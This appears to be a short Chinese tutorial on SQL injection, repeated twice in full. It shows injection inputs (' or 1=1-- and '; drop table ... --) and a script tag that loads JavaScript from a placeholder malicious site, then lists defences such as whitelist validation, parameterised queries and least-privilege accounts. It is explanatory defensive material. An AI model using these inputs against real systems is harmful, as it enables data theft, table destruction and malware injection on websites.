sql注入 ' or 1
例如:select * form table1 where name=" ' "+param+" ' "
一般param是从页面输入控件传递来的数据
如果你在控件中输入 xxx' or 1=1-- 那么他将查询所有的数据出来 -- 表示后面的都被注释掉了
你还可以xxx' ; drop table table1 --那么他将删除该表,其中;是用来分割sql语句
黑客利用sql注入来给网站挂木马,也就是将恶意脚本代码插入到SQL数据库相应的数据中;
如:<script src="http://恶意网站连接/XXX.js">
一般的系统都会有从数据库取数据显示在页面的操作,这个时候恶意脚本也就被加载下来了。
防范SQL:
1、输入验证,除了前台验证外还需要后台验证;真正的恶意攻击将绕开前台验证直接提交数据;
做验证时应尽量采取白盒验证,规定哪些字符才是合法字符,如:通过正则表达式规定
字母和数字是唯一输入的字符;
尽量别使用黑盒验证,如规定哪些是危险字符、特殊字符等;
因为设计编码上的不同可能会导致某些危险输入被忽略,而且攻击者可以采用不同的编码格式来欺骗验证,如采用%0x、0011 来编码。而且这样做除了防范SQL注入攻击也是防范其他攻击的一种有效手段。
2、尽量采用参数传递而非构造SQL的方式传递参数,而且构造SQL也对执行效率有影响。
3、减小数据库访问帐号的权限,降低危害。
例如:select * form table1 where name=" ' "+param+" ' "
一般param是从页面输入控件传递来的数据
如果你在控件中输入 xxx' or 1=1-- 那么他将查询所有的数据出来 -- 表示后面的都被注释掉了
你还可以xxx' ; drop table table1 --那么他将删除该表,其中;是用来分割sql语句
黑客利用sql注入来给网站挂木马,也就是将恶意脚本代码插入到SQL数据库相应的数据中;
如:<script src="http://恶意网站连接/XXX.js">
一般的系统都会有从数据库取数据显示在页面的操作,这个时候恶意脚本也就被加载下来了。
防范SQL:
1、输入验证,除了前台验证外还需要后台验证;真正的恶意攻击将绕开前台验证直接提交数据;
做验证时应尽量采取白盒验证,规定哪些字符才是合法字符,如:通过正则表达式规定
字母和数字是唯一输入的字符;
尽量别使用黑盒验证,如规定哪些是危险字符、特殊字符等;
因为设计编码上的不同可能会导致某些危险输入被忽略,而且攻击者可以采用不同的编码格式来欺骗验证,如采用%0x、0011 来编码。而且这样做除了防范SQL注入攻击也是防范其他攻击的一种有效手段。
2、尽量采用参数传递而非构造SQL的方式传递参数,而且构造SQL也对执行效率有影响。
3、减小数据库访问帐号的权限,降低危害。